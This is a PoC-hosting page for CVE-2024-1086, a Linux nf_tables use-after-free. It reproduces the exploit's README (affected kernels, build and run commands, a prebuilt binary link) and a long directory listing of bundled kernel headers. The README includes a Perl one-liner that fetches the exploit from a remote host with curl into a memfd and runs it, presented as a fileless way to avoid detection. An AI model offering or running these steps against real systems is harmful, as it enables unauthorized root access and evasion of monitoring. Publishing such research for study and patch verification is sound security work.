POC详情: c0054f893f0ec07e102bfddd68ec0d02fe623298

来源
关联漏洞
标题: Linux kernel 资源管理错误漏洞 (CVE-2024-1086)
描述:Linux kernel是美国Linux基金会的开源操作系统Linux所使用的内核。 Linux kernel 存在安全漏洞,该漏洞源于netfilter: nf_tables 组件中存在释放后重用,nf_hook_slow() 函数可能会导致双重释放,攻击者利用该漏洞导致本地权限提升。
描述
Proof-of-concept exploit for CVE-2024-1086, working on most Linux kernels between (including) v5.14 and (including) v6.6, including (but not limited to) Debian, Ubuntu, and KernelCTF.
介绍
# CVE-2024-1086

Universal local privilege escalation Proof-of-Concept exploit for [CVE-2024-1086](https://nvd.nist.gov/vuln/detail/CVE-2024-1086), working on most Linux kernels between v5.14 and v6.6, including Debian, Ubuntu, and KernelCTF. The success rate is 99.4% in KernelCTF images.

https://github.com/Notselwyn/CVE-2024-1086/assets/68616630/a3d43951-94ab-4c09-a14b-07b81f89b3de

## Blogpost / Write-up

A full write-up of the exploit - including background information and loads of useful diagrams - can be found in the [Flipping Pages blogpost](https://pwning.tech/nftables/).


## Affected versions

The exploit affects versions from (including) v5.14 to (including) v6.6, excluding patched branches v5.15.149>, v6.1.76>, v6.6.15>. The patch for these versions were released in feb 2024. The underlying vulnerability affects all versions (excluding patched stable branches) from v3.15 to v6.8-rc1.

**Caveats:**
- The exploit does not work on v6.4> kernels with kconfig `CONFIG_INIT_ON_ALLOC_DEFAULT_ON=y` (including Ubuntu v6.5)
- The exploits requires user namespaces (kconfig `CONFIG_USER_NS=y`), that those user namespaces are unprivileged (sh command `sysctl kernel.unprivileged_userns_clone` = 1), and that nf_tables is enabled (kconfig `CONFIG_NF_TABLES=y`). By default, these are all enabled on Debian, Ubuntu, and KernelCTF. Other distro's have not been tested, but may work as well. Additionally, the exploit has only been tested on x64/amd64.
- The exploit may be *very* unstable on systems with a lot of network activity
	- Systems with WiFi adapter, when surrounded by high-usage WiFi networks, will be very unstable. 
	- On test devices, please turn off WiFi adapters through BIOS.
- The kernel panic (system crash) after running the exploit is a side-effect which deliberately hasn't been fixed to prevent malicious usage of the exploit (i.e. exploitation attempts should now be more noticable, and unpractical in real-world operations). Despite this, it still allows for a working proof-of-concept in lab environments, as the root shell is functional, and persistence through disk is possible.

## Usage

### Configuration

The default values should work out of the box on Debian, Ubuntu, and KernelCTF with a local shell. On non-tested setups/distros, please make sure the kconfig values match with the target kernel. These can be specified in [`src/config.h`](/src/config.h). If you are running the exploit on a machine with more than 32GiB physical memory, make sure to increase `CONFIG_PHYS_MEM`.
If you are running the exploit over SSH (into the test machine) or a reverse shell, you may want to toggle `CONFIG_REDIRECT_LOG` to `1` to avoid unnecessary network activity.

### Building

If this is impractical for you, there is an [compiled x64 binary](https://github.com/Notselwyn/CVE-2024-1086/releases/download/v1.0.0/exploit) with the default config.

```bash
git clone https://github.com/Notselwyn/CVE-2024-1086
cd CVE-2024-1086
make
```

Binary: `CVE-2024-1086/exploit`


### Running

Running the exploit is just as trivial:

```bash
./exploit
```

Fileless execution is also supported, in case of pentest situations where detections need to be avoided. However, Perl needs to be installed on the target:
```bash
perl -e '
  require qw/syscall.ph/;

  my $fd = syscall(SYS_memfd_create(), $fn, 0);
  system "curl https://example.com/exploit -s >&$fd";
  exec {"/proc/$$/fd/$fd"} "memfd";
'
```

## Disclaimer

The programs and scripts ("programs") in this software directory/folder/repository ("repository") are published, developed and distributed for educational/research purposes only. I ("the creator") do not condone any malicious or illegal usage of the programs in this repository, as the intend is sharing research and not doing illegal activities with it. I am not legally responsible for anything you do with the programs in this repository.
文件快照

[4.0K] /data/pocs/c0054f893f0ec07e102bfddd68ec0d02fe623298 ├── [4.0K] include │   ├── [4.0K] libmnl │   │   ├── [7.9K] libmnl.h │   │   └── [ 26K] LICENSE.md │   ├── [4.0K] libnftnl │   │   ├── [ 631] batch.h │   │   ├── [4.6K] chain.h │   │   ├── [1.3K] common.h │   │   ├── [7.0K] expr.h │   │   ├── [3.5K] flowtable.h │   │   ├── [1.5K] gen.h │   │   ├── [ 18K] LICENSE.md │   │   ├── [5.1K] object.h │   │   ├── [3.8K] rule.h │   │   ├── [2.3K] ruleset.h │   │   ├── [6.8K] set.h │   │   ├── [3.2K] table.h │   │   ├── [1.4K] trace.h │   │   └── [3.8K] udata.h │   └── [4.0K] linux-lts-6.1.72 │   ├── [4.0K] asm │   │   ├── [8.7K] amd_hsmp.h │   │   ├── [ 756] a.out.h │   │   ├── [ 546] auxvec.h │   │   ├── [ 321] bitsperlong.h │   │   ├── [ 323] boot.h │   │   ├── [8.3K] bootparam.h │   │   ├── [ 40] bpf_perf_event.h │   │   ├── [ 200] byteorder.h │   │   ├── [3.3K] debugreg.h │   │   ├── [2.5K] e820.h │   │   ├── [ 31] errno.h │   │   ├── [ 31] fcntl.h │   │   ├── [ 69] hw_breakpoint.h │   │   ├── [ 324] hwcap2.h │   │   ├── [ 31] ioctl.h │   │   ├── [ 32] ioctls.h │   │   ├── [ 32] ipcbuf.h │   │   ├── [ 854] ist.h │   │   ├── [ 12K] kvm.h │   │   ├── [4.2K] kvm_para.h │   │   ├── [ 388] kvm_perf.h │   │   ├── [1.3K] ldt.h │   │   ├── [1.7K] mce.h │   │   ├── [ 503] mman.h │   │   ├── [1.1K] msgbuf.h │   │   ├── [ 346] msr.h │   │   ├── [4.1K] mtrr.h │   │   ├── [ 31] param.h │   │   ├── [1.4K] perf_regs.h │   │   ├── [ 30] poll.h │   │   ├── [ 765] posix_types_32.h │   │   ├── [ 609] posix_types_64.h │   │   ├── [ 224] posix_types.h │   │   ├── [ 581] posix_types_x32.h │   │   ├── [ 618] prctl.h │   │   ├── [6.6K] processor-flags.h │   │   ├── [2.0K] ptrace-abi.h │   │   ├── [1.5K] ptrace.h │   │   ├── [ 34] resource.h │   │   ├── [1.0K] sembuf.h │   │   ├── [ 6] setup.h │   │   ├── [8.1K] sgx.h │   │   ├── [1.3K] shmbuf.h │   │   ├── [ 271] sigcontext32.h │   │   ├── [9.5K] sigcontext.h │   │   ├── [ 422] siginfo.h │   │   ├── [2.0K] signal.h │   │   ├── [ 32] socket.h │   │   ├── [ 33] sockios.h │   │   ├── [ 416] statfs.h │   │   ├── [3.1K] stat.h │   │   ├── [9.5K] svm.h │   │   ├── [ 724] swab.h │   │   ├── [ 34] termbits.h │   │   ├── [ 33] termios.h │   │   ├── [ 31] types.h │   │   ├── [2.1K] ucontext.h │   │   ├── [ 12K] unistd_32.h │   │   ├── [9.5K] unistd_64.h │   │   ├── [ 623] unistd.h │   │   ├── [ 17K] unistd_x32.h │   │   ├── [3.1K] vm86.h │   │   ├── [7.3K] vmx.h │   │   └── [ 263] vsyscall.h │   ├── [4.0K] asm-generic │   │   ├── [ 218] auxvec.h │   │   ├── [ 564] bitsperlong.h │   │   ├── [ 238] bpf_perf_event.h │   │   ├── [1.6K] errno-base.h │   │   ├── [5.5K] errno.h │   │   ├── [5.5K] fcntl.h │   │   ├── [1.8K] hugetlb_encode.h │   │   ├── [ 718] int-l64.h │   │   ├── [ 864] int-ll64.h │   │   ├── [3.4K] ioctl.h │   │   ├── [3.9K] ioctls.h │   │   ├── [1.0K] ipcbuf.h │   │   ├── [ 96] kvm_para.h │   │   ├── [3.7K] mman-common.h │   │   ├── [ 740] mman.h │   │   ├── [1.6K] msgbuf.h │   │   ├── [ 353] param.h │   │   ├── [ 847] poll.h │   │   ├── [2.3K] posix_types.h │   │   ├── [1.8K] resource.h │   │   ├── [1.5K] sembuf.h │   │   ├── [ 190] setup.h │   │   ├── [1.8K] shmbuf.h │   │   ├── [ 11K] siginfo.h │   │   ├── [2.9K] signal-defs.h │   │   ├── [1.8K] signal.h │   │   ├── [3.6K] socket.h │   │   ├── [ 447] sockios.h │   │   ├── [1.8K] statfs.h │   │   ├── [2.6K] stat.h │   │   ├── [ 502] swab.h │   │   ├── [2.2K] termbits-common.h │   │   ├── [3.6K] termbits.h │   │   ├── [1.3K] termios.h │   │   ├── [ 233] types.h │   │   ├── [ 357] ucontext.h │   │   └── [ 31K] unistd.h │   ├── [4.0K] drm │   │   ├── [ 35K] amdgpu_drm.h │   │   ├── [1.2K] armada_drm.h │   │   ├── [ 63K] drm_fourcc.h │   │   ├── [ 37K] drm.h │   │   ├── [ 37K] drm_mode.h │   │   ├── [2.7K] drm_sarea.h │   │   ├── [ 12K] etnaviv_drm.h │   │   ├── [ 11K] exynos_drm.h │   │   ├── [9.8K] i810_drm.h │   │   ├── [122K] i915_drm.h │   │   ├── [4.9K] lima_drm.h │   │   ├── [ 13K] mga_drm.h │   │   ├── [ 15K] msm_drm.h │   │   ├── [6.5K] nouveau_drm.h │   │   ├── [3.9K] omap_drm.h │   │   ├── [8.2K] panfrost_drm.h │   │   ├── [4.0K] qxl_drm.h │   │   ├── [9.8K] r128_drm.h │   │   ├── [ 37K] radeon_drm.h │   │   ├── [7.0K] savage_drm.h │   │   ├── [2.6K] sis_drm.h │   │   ├── [ 21K] tegra_drm.h │   │   ├── [ 15K] v3d_drm.h │   │   ├── [ 14K] vc4_drm.h │   │   ├── [1.9K] vgem_drm.h │   │   ├── [8.1K] via_drm.h │   │   ├── [7.2K] virtgpu_drm.h │   │   └── [ 37K] vmwgfx_drm.h │   ├── [3.7K] headers_check.pl │   ├── [ 90] LICENSE.md │   ├── [ 36K] linux │   │   ├── [3.8K] acct.h │   │   ├── [ 19K] acrn.h │   │   ├── [1.1K] adb.h │   │   ├── [ 993] adfs_fs.h │   │   ├── [1.5K] affs_hardblocks.h │   │   ├── [3.9K] agpgart.h │   │   ├── [3.3K] aio_abi.h │   │   ├── [3.6K] am437x-vpfe.h │   │   ├── [1.7K] amt.h │   │   ├── [4.0K] android │   │   │   ├── [ 789] binderfs.h │   │   │   └── [ 16K] binder.h │   │   ├── [6.7K] a.out.h │   │   ├── [3.6K] apm_bios.h │   │   ├── [ 213] arcfb.h │   │   ├── [2.7K] arm_sdei.h │   │   ├── [1.7K] aspeed-lpc-ctrl.h │   │   ├── [1.9K] aspeed-p2a-ctrl.h │   │   ├── [1023] atalk.h │   │   ├── [ 952] atmapi.h │   │   ├── [1.3K] atmarp.h │   │   ├── [3.2K] atmbr2684.h │   │   ├── [ 576] atmclip.h │   │   ├── [7.5K] atmdev.h │   │   ├── [ 648] atm_eni.h │   │   ├── [7.7K] atm.h │   │   ├── [ 406] atm_he.h │   │   ├── [ 955] atm_idt77105.h │   │   ├── [1.6K] atmioc.h │   │   ├── [2.3K] atmlec.h │   │   ├── [4.1K] atmmpc.h │   │   ├── [1.2K] atm_nicstar.h │   │   ├── [ 639] atmppp.h │   │   ├── [4.9K] atmsap.h │   │   ├── [1.8K] atmsvc.h │   │   ├── [1.6K] atm_tcp.h │   │   ├── [1.5K] atm_zatm.h │   │   ├── [ 21K] audit.h │   │   ├── [4.9K] auto_dev-ioctl.h │   │   ├── [ 451] auto_fs4.h │   │   ├── [6.3K] auto_fs.h │   │   ├── [1.6K] auxvec.h │   │   ├── [2.8K] ax25.h │   │   ├── [ 20K] batadv_packet.h │   │   ├── [ 16K] batman_adv.h │   │   ├── [ 883] baycom.h │   │   ├── [ 419] bcm933xx_hcs.h │   │   ├── [1.9K] bfs_fs.h │   │   ├── [ 776] binfmts.h │   │   ├── [ 904] blkpg.h │   │   ├── [4.6K] blktrace_api.h │   │   ├── [6.3K] blkzoned.h │   │   ├── [1.3K] bpf_common.h │   │   ├── [254K] bpf.h │   │   ├── [ 465] bpfilter.h │   │   ├── [ 529] bpf_perf_event.h │   │   ├── [ 981] bpqether.h │   │   ├── [2.4K] bsg.h │   │   ├── [ 572] bt-bmc.h │   │   ├── [5.5K] btf.h │   │   ├── [ 35K] btrfs.h │   │   ├── [ 27K] btrfs_tree.h │   │   ├── [4.0K] byteorder │   │   │   ├── [3.5K] big_endian.h │   │   │   └── [3.6K] little_endian.h │   │   ├── [1.6K] cachefiles.h │   │   ├── [4.0K] caif │   │   │   ├── [5.7K] caif_socket.h │   │   │   └── [1.0K] if_caif.h │   │   ├── [4.0K] can │   │   │   ├── [4.0K] bcm.h │   │   │   ├── [6.9K] error.h │   │   │   ├── [7.8K] gw.h │   │   │   ├── [7.3K] isotp.h │   │   │   ├── [2.3K] j1939.h │   │   │   ├── [5.0K] netlink.h │   │   │   ├── [2.9K] raw.h │   │   │   └── [ 232] vxcan.h │   │   ├── [ 11K] can.h │   │   ├── [ 13K] capability.h │   │   ├── [3.1K] capi.h │   │   ├── [3.2K] cciss_defs.h │   │   ├── [2.7K] cciss_ioctl.h │   │   ├── [ 767] ccs.h │   │   ├── [ 29K] cdrom.h │   │   ├── [ 53K] cec-funcs.h │   │   ├── [ 41K] cec.h │   │   ├── [1.4K] cfm_bridge.h │   │   ├── [2.2K] cgroupstats.h │   │   ├── [5.2K] chio.h │   │   ├── [4.0K] cifs │   │   │   ├── [1.2K] cifs_mount.h │   │   │   └── [1.6K] cifs_netlink.h │   │   ├── [ 377] close_range.h │   │   ├── [1.8K] cm4000_cs.h │   │   ├── [3.4K] cn_proc.h │   │   ├── [ 18K] coda.h │   │   ├── [ 12K] coff.h │   │   ├── [ 54K] comedi.h │   │   ├── [2.2K] connector.h │   │   ├── [ 991] const.h │   │   ├── [ 747] coresight-stm.h │   │   ├── [4.5K] counter.h │   │   ├── [3.5K] cramfs_fs.h │   │   ├── [5.2K] cryptouser.h │   │   ├── [ 905] cuda.h │   │   ├── [6.3K] cxl_mem.h │   │   ├── [ 969] cyclades.h │   │   ├── [2.9K] cycx_cfm.h │   │   ├── [ 25K] dcbnl.h │   │   ├── [6.3K] dccp.h │   │   ├── [ 21K] devlink.h │   │   ├── [5.0K] dlmconstants.h │   │   ├── [2.5K] dlm_device.h │   │   ├── [2.5K] dlm.h │   │   ├── [1.1K] dlm_netlink.h │   │   ├── [ 894] dlm_plock.h │   │   ├── [7.2K] dma-buf.h │   │   ├── [1.4K] dma-heap.h │   │   ├── [ 11K] dm-ioctl.h │   │   ├── [ 15K] dm-log-userspace.h │   │   ├── [3.9K] dns_resolver.h │   │   ├── [9.2K] dqblk_xfs.h │   │   ├── [4.0K] dvb │   │   │   ├── [3.5K] audio.h │   │   │   ├── [4.1K] ca.h │   │   │   ├── [9.9K] dmx.h │   │   │   ├── [ 29K] frontend.h │   │   │   ├── [2.1K] net.h │   │   │   ├── [5.8K] osd.h │   │   │   ├── [1.1K] version.h │   │   │   └── [6.9K] video.h │   │   ├── [ 357] dw100.h │   │   ├── [5.5K] edd.h │   │   ├── [2.2K] efs_fs_sb.h │   │   ├── [2.6K] elf-em.h │   │   ├── [1.1K] elf-fdpic.h │   │   ├── [ 15K] elf.h │   │   ├── [ 23] errno.h │   │   ├── [1.9K] errqueue.h │   │   ├── [1.0K] erspan.h │   │   ├── [ 84K] ethtool.h │   │   ├── [ 24K] ethtool_netlink.h │   │   ├── [2.8K] eventpoll.h │   │   ├── [3.2K] f2fs.h │   │   ├── [ 842] fadvise.h │   │   ├── [3.5K] falloc.h │   │   ├── [7.3K] fanotify.h │   │   ├── [ 16K] fb.h │   │   ├── [4.2K] fcntl.h │   │   ├── [ 12K] fd.h │   │   ├── [5.2K] fdreg.h │   │   ├── [2.0K] fib_rules.h │   │   ├── [2.7K] fiemap.h │   │   ├── [2.2K] filter.h │   │   ├── [ 43K] firewire-cdev.h │   │   ├── [3.2K] firewire-constants.h │   │   ├── [ 894] fou.h │   │   ├── [8.5K] fpga-dfl.h │   │   ├── [6.5K] fscrypt.h │   │   ├── [ 12K] fs.h │   │   ├── [2.6K] fsi.h │   │   ├── [7.1K] fsl_hypervisor.h │   │   ├── [ 734] fsl_mc.h │   │   ├── [4.3K] fsmap.h │   │   ├── [3.1K] fsverity.h │   │   ├── [ 24K] fuse.h │   │   ├── [5.5K] futex.h │   │   ├── [ 897] gameport.h │   │   ├── [2.2K] genetlink.h │   │   ├── [1.5K] gen_stats.h │   │   ├── [4.0K] genwqe │   │   │   └── [ 17K] genwqe_card.h │   │   ├── [ 14K] gfs2_ondisk.h │   │   ├── [ 19K] gpio.h │   │   ├── [1.1K] gsmmux.h │   │   ├── [ 734] gtp.h │   │   ├── [ 971] hash_info.h │   │   ├── [4.0K] hdlc │   │   │   └── [2.9K] ioctl.h │   │   ├── [2.8K] hdlcdrv.h │   │   ├── [ 637] hdlc.h │   │   ├── [ 22K] hdreg.h │   │   ├── [6.2K] hiddev.h │   │   ├── [2.0K] hid.h │   │   ├── [1.9K] hidraw.h │   │   ├── [ 743] hpet.h │   │   ├── [4.0K] hsi │   │   │   ├── [3.6K] cs-protocol.h │   │   │   └── [1.9K] hsi_char.h │   │   ├── [1.1K] hsr_netlink.h │   │   ├── [ 742] hw_breakpoint.h │   │   ├── [ 11K] hyperv.h │   │   ├── [1.8K] i2c-dev.h │   │   ├── [6.7K] i2c.h │   │   ├── [ 11K] i2o-dev.h │   │   ├── [1.5K] i8k.h │   │   ├── [4.7K] icmp.h │   │   ├── [4.2K] icmpv6.h │   │   ├── [8.2K] idxd.h │   │   ├── [2.1K] if_addr.h │   │   ├── [ 721] if_addrlabel.h │   │   ├── [1.5K] if_alg.h │   │   ├── [3.6K] if_arcnet.h │   │   ├── [6.4K] if_arp.h │   │   ├── [5.0K] if_bonding.h │   │   ├── [ 19K] if_bridge.h │   │   ├── [ 986] if_cablemodem.h │   │   ├── [ 351] ife.h │   │   ├── [1.3K] if_eql.h │   │   ├── [8.6K] if_ether.h │   │   ├── [1.7K] if_fc.h │   │   ├── [4.3K] if_fddi.h │   │   ├── [ 11K] if.h │   │   ├── [4.1K] if_hippi.h │   │   ├── [1.2K] if_infiniband.h │   │   ├── [ 34K] if_link.h │   │   ├── [ 210] if_ltalk.h │   │   ├── [6.4K] if_macsec.h │   │   ├── [8.0K] if_packet.h │   │   ├── [ 424] if_phonet.h │   │   ├── [ 660] if_plip.h │   │   ├── [ 29] if_ppp.h │   │   ├── [3.2K] if_pppol2tp.h │   │   ├── [4.8K] if_pppox.h │   │   ├── [ 872] if_slip.h │   │   ├── [2.5K] if_team.h │   │   ├── [4.1K] if_tun.h │   │   ├── [4.5K] if_tunnel.h │   │   ├── [1.8K] if_vlan.h │   │   ├── [ 881] if_x25.h │   │   ├── [2.9K] if_xdp.h │   │   ├── [3.0K] igmp.h │   │   ├── [4.0K] iio │   │   │   ├── [ 270] buffer.h │   │   │   ├── [1.4K] events.h │   │   │   └── [2.3K] types.h │   │   ├── [1.2K] ila.h │   │   ├── [7.4K] in6.h │   │   ├── [4.9K] inet_diag.h │   │   ├── [ 11K] in.h │   │   ├── [3.2K] inotify.h │   │   ├── [ 29K] input-event-codes.h │   │   ├── [ 16K] input.h │   │   ├── [ 936] in_route.h │   │   ├── [ 945] ioam6_genl.h │   │   ├── [2.3K] ioam6.h │   │   ├── [1.3K] ioam6_iptunnel.h │   │   ├── [ 163] ioctl.h │   │   ├── [4.8K] iommu.h │   │   ├── [1.4K] ioprio.h │   │   ├── [ 17K] io_uring.h │   │   ├── [1.9K] ip6_tunnel.h │   │   ├── [2.1K] ipc.h │   │   ├── [4.7K] ip.h │   │   ├── [ 488] ipmi_bmc.h │   │   ├── [ 15K] ipmi.h │   │   ├── [3.3K] ipmi_msgdefs.h │   │   ├── [ 947] ipsec.h │   │   ├── [4.2K] ipv6.h │   │   ├── [1.9K] ipv6_route.h │   │   ├── [ 14K] ip_vs.h │   │   ├── [ 104] irqnr.h │   │   ├── [4.0K] isdn │   │   │   └── [4.7K] capicmd.h │   │   ├── [6.3K] iso_fs.h │   │   ├── [5.3K] isst_if.h │   │   ├── [1.2K] ivtvfb.h │   │   ├── [3.0K] ivtv.h │   │   ├── [6.7K] jffs2.h │   │   ├── [3.4K] joystick.h │   │   ├── [ 822] kcm.h │   │   ├── [ 522] kcmp.h │   │   ├── [1.9K] kcov.h │   │   ├── [ 383] kdev_t.h │   │   ├── [6.1K] kd.h │   │   ├── [1019] kernelcapi.h │   │   ├── [ 194] kernel.h │   │   ├── [ 900] kernel-page-flags.h │   │   ├── [1.9K] kexec.h │   │   ├── [ 13K] keyboard.h │   │   ├── [5.9K] keyctl.h │   │   ├── [ 28K] kfd_ioctl.h │   │   ├── [4.2K] kfd_sysfs.h │   │   ├── [ 63K] kvm.h │   │   ├── [1001] kvm_para.h │   │   ├── [5.6K] l2tp.h │   │   ├── [6.3K] landlock.h │   │   ├── [8.1K] libc-compat.h │   │   ├── [ 937] limits.h │   │   ├── [8.1K] lirc.h │   │   ├── [3.1K] llc.h │   │   ├── [ 834] loadpin.h │   │   ├── [3.3K] loop.h │   │   ├── [4.1K] lp.h │   │   ├── [2.3K] lwtunnel.h │   │   ├── [3.8K] magic.h │   │   ├── [4.5K] major.h │   │   ├── [9.3K] map_to_14segment.h │   │   ├── [6.5K] map_to_7segment.h │   │   ├── [1.4K] matroxfb.h │   │   ├── [1.0K] max2175.h │   │   ├── [1.5K] mctp.h │   │   ├── [ 21K] mdio.h │   │   ├── [6.9K] media-bus-format.h │   │   ├── [ 12K] media.h │   │   ├── [3.4K] mei.h │   │   ├── [9.1K] membarrier.h │   │   ├── [1.3K] memfd.h │   │   ├── [2.5K] mempolicy.h │   │   ├── [2.5K] meye.h │   │   ├── [9.3K] mii.h │   │   ├── [2.1K] minix_fs.h │   │   ├── [4.0K] misc │   │   │   └── [2.9K] bcm_vk.h │   │   ├── [1.5K] mman.h │   │   ├── [4.0K] mmc │   │   │   └── [2.3K] ioctl.h │   │   ├── [2.1K] mmtimer.h │   │   ├── [ 293] module.h │   │   ├── [5.0K] mount.h │   │   ├── [2.2K] mpls.h │   │   ├── [ 761] mpls_iptunnel.h │   │   ├── [6.9K] mptcp.h │   │   ├── [2.1K] mqueue.h │   │   ├── [4.9K] mroute6.h │   │   ├── [5.8K] mroute.h │   │   ├── [1.7K] mrp_bridge.h │   │   ├── [6.6K] msdos_fs.h │   │   ├── [3.3K] msg.h │   │   ├── [8.0K] mtio.h │   │   ├── [3.0K] nbd.h │   │   ├── [2.4K] nbd-netlink.h │   │   ├── [4.7K] ncsi.h │   │   ├── [6.7K] ndctl.h │   │   ├── [5.7K] neighbour.h │   │   ├── [ 614] netconf.h │   │   ├── [2.2K] netdevice.h │   │   ├── [2.9K] net_dropmon.h │   │   ├── [ 12K] netfilter │   │   │   ├── [4.0K] ipset │   │   │   │   ├── [ 428] ip_set_bitmap.h │   │   │   │   ├── [9.0K] ip_set.h │   │   │   │   ├── [ 578] ip_set_hash.h │   │   │   │   └── [ 609] ip_set_list.h │   │   │   ├── [4.5K] nf_conntrack_common.h │   │   │   ├── [ 438] nf_conntrack_ftp.h │   │   │   ├── [ 597] nf_conntrack_sctp.h │   │   │   ├── [1.4K] nf_conntrack_tcp.h │   │   │   ├── [ 896] nf_conntrack_tuple_common.h │   │   │   ├── [ 538] nf_log.h │   │   │   ├── [1.5K] nf_nat.h │   │   │   ├── [ 900] nfnetlink_acct.h │   │   │   ├── [2.4K] nfnetlink_compat.h │   │   │   ├── [6.0K] nfnetlink_conntrack.h │   │   │   ├── [1.2K] nfnetlink_cthelper.h │   │   │   ├── [2.9K] nfnetlink_cttimeout.h │   │   │   ├── [2.4K] nfnetlink.h │   │   │   ├── [1.6K] nfnetlink_hook.h │   │   │   ├── [3.0K] nfnetlink_log.h │   │   │   ├── [2.6K] nfnetlink_osf.h │   │   │   ├── [3.5K] nfnetlink_queue.h │   │   │   ├── [ 576] nf_synproxy.h │   │   │   ├── [ 731] nf_tables_compat.h │   │   │   ├── [ 55K] nf_tables.h │   │   │   ├── [4.4K] x_tables.h │   │   │   ├── [1.1K] xt_addrtype.h │   │   │   ├── [ 528] xt_AUDIT.h │   │   │   ├── [ 935] xt_bpf.h │   │   │   ├── [ 740] xt_cgroup.h │   │   │   ├── [ 563] xt_CHECKSUM.h │   │   │   ├── [ 217] xt_CLASSIFY.h │   │   │   ├── [ 374] xt_cluster.h │   │   │   ├── [ 230] xt_comment.h │   │   │   ├── [ 577] xt_connbytes.h │   │   │   ├── [ 360] xt_connlabel.h │   │   │   ├── [ 575] xt_connlimit.h │   │   │   ├── [ 646] xt_connmark.h │   │   │   ├── [ 199] xt_CONNMARK.h │   │   │   ├── [ 301] xt_CONNSECMARK.h │   │   │   ├── [2.5K] xt_conntrack.h │   │   │   ├── [ 199] xt_cpu.h │   │   │   ├── [ 853] xt_CT.h │   │   │   ├── [ 483] xt_dccp.h │   │   │   ├── [ 429] xt_devgroup.h │   │   │   ├── [ 701] xt_dscp.h │   │   │   ├── [ 697] xt_DSCP.h │   │   │   ├── [ 736] xt_ecn.h │   │   │   ├── [ 418] xt_esp.h │   │   │   ├── [3.2K] xt_hashlimit.h │   │   │   ├── [ 188] xt_helper.h │   │   │   ├── [ 933] xt_HMARK.h │   │   │   ├── [1001] xt_IDLETIMER.h │   │   │   ├── [ 485] xt_ipcomp.h │   │   │   ├── [ 581] xt_iprange.h │   │   │   ├── [ 680] xt_ipvs.h │   │   │   ├── [ 739] xt_l2tp.h │   │   │   ├── [ 470] xt_LED.h │   │   │   ├── [ 221] xt_length.h │   │   │   ├── [ 673] xt_limit.h │   │   │   ├── [ 642] xt_LOG.h │   │   │   ├── [ 227] xt_mac.h │   │   │   ├── [ 260] xt_mark.h │   │   │   ├── [ 184] xt_MARK.h │   │   │   ├── [ 721] xt_multiport.h │   │   │   ├── [ 421] xt_nfacct.h │   │   │   ├── [ 556] xt_NFLOG.h │   │   │   ├── [ 779] xt_NFQUEUE.h │   │   │   ├── [1.0K] xt_osf.h │   │   │   ├── [ 535] xt_owner.h │   │   │   ├── [ 553] xt_physdev.h │   │   │   ├── [ 188] xt_pkttype.h │   │   │   ├── [1.0K] xt_policy.h │   │   │   ├── [ 400] xt_quota.h │   │   │   ├── [ 859] xt_rateest.h │   │   │   ├── [ 390] xt_RATEEST.h │   │   │   ├── [ 220] xt_realm.h │   │   │   ├── [1.0K] xt_recent.h │   │   │   ├── [ 320] xt_rpfilter.h │   │   │   ├── [2.3K] xt_sctp.h │   │   │   ├── [ 648] xt_SECMARK.h │   │   │   ├── [1.8K] xt_set.h │   │   │   ├── [ 640] xt_socket.h │   │   │   ├── [ 331] xt_state.h │   │   │   ├── [ 716] xt_statistic.h │   │   │   ├── [ 664] xt_string.h │   │   │   ├── [ 498] xt_SYNPROXY.h │   │   │   ├── [ 253] xt_tcpmss.h │   │   │   ├── [ 235] xt_TCPMSS.h │   │   │   ├── [ 407] xt_TCPOPTSTRIP.h │   │   │   ├── [1.2K] xt_tcpudp.h │   │   │   ├── [ 333] xt_TEE.h │   │   │   ├── [ 730] xt_time.h │   │   │   ├── [ 575] xt_TPROXY.h │   │   │   └── [ 752] xt_u32.h │   │   ├── [4.0K] netfilter_arp │   │   │   ├── [5.9K] arp_tables.h │   │   │   └── [ 606] arpt_mangle.h │   │   ├── [ 445] netfilter_arp.h │   │   ├── [4.0K] netfilter_bridge │   │   │   ├── [1.2K] ebt_802_3.h │   │   │   ├── [9.2K] ebtables.h │   │   │   ├── [2.0K] ebt_among.h │   │   │   ├── [ 900] ebt_arp.h │   │   │   ├── [ 289] ebt_arpreply.h │   │   │   ├── [1.0K] ebt_ip6.h │   │   │   ├── [1.1K] ebt_ip.h │   │   │   ├── [ 616] ebt_limit.h │   │   │   ├── [ 538] ebt_log.h │   │   │   ├── [ 388] ebt_mark_m.h │   │   │   ├── [ 831] ebt_mark_t.h │   │   │   ├── [ 387] ebt_nat.h │   │   │   ├── [ 510] ebt_nflog.h │   │   │   ├── [ 267] ebt_pkttype.h │   │   │   ├── [ 286] ebt_redirect.h │   │   │   ├── [1.1K] ebt_stp.h │   │   │   └── [ 719] ebt_vlan.h │   │   ├── [1.1K] netfilter_bridge.h │   │   ├── [1.7K] netfilter.h │   │   ├── [4.0K] netfilter_ipv4 │   │   │   ├── [6.5K] ip_tables.h │   │   │   ├── [ 425] ipt_ah.h │   │   │   ├── [ 821] ipt_CLUSTERIP.h │   │   │   ├── [ 431] ipt_ecn.h │   │   │   ├── [ 901] ipt_ECN.h │   │   │   ├── [ 654] ipt_LOG.h │   │   │   ├── [ 468] ipt_REJECT.h │   │   │   ├── [ 431] ipt_ttl.h │   │   │   └── [ 375] ipt_TTL.h │   │   ├── [1.5K] netfilter_ipv4.h │   │   ├── [4.0K] netfilter_ipv6 │   │   │   ├── [7.8K] ip6_tables.h │   │   │   ├── [ 657] ip6t_ah.h │   │   │   ├── [ 744] ip6t_frag.h │   │   │   ├── [ 458] ip6t_hl.h │   │   │   ├── [ 408] ip6t_HL.h │   │   │   ├── [ 645] ip6t_ipv6header.h │   │   │   ├── [ 665] ip6t_LOG.h │   │   │   ├── [ 439] ip6t_mh.h │   │   │   ├── [ 400] ip6t_NPT.h │   │   │   ├── [ 649] ip6t_opts.h │   │   │   ├── [ 470] ip6t_REJECT.h │   │   │   ├── [ 985] ip6t_rt.h │   │   │   └── [3.2K] ip6t_srh.h │   │   ├── [1.4K] netfilter_ipv6.h │   │   ├── [2.0K] net.h │   │   ├── [1.5K] netlink_diag.h │   │   ├── [ 12K] netlink.h │   │   ├── [ 715] net_namespace.h │   │   ├── [ 807] netrom.h │   │   ├── [5.9K] net_tstamp.h │   │   ├── [2.8K] nexthop.h │   │   ├── [ 11K] nfc.h │   │   ├── [1.4K] nfs2.h │   │   ├── [2.4K] nfs3.h │   │   ├── [6.4K] nfs4.h │   │   ├── [1.9K] nfs4_mount.h │   │   ├── [ 718] nfsacl.h │   │   ├── [4.0K] nfsd │   │   │   ├── [3.0K] cld.h │   │   │   ├── [ 736] debug.h │   │   │   ├── [2.1K] export.h │   │   │   └── [ 421] stats.h │   │   ├── [1.6K] nfs_fs.h │   │   ├── [4.4K] nfs.h │   │   ├── [2.2K] nfs_idmap.h │   │   ├── [2.1K] nfs_mount.h │   │   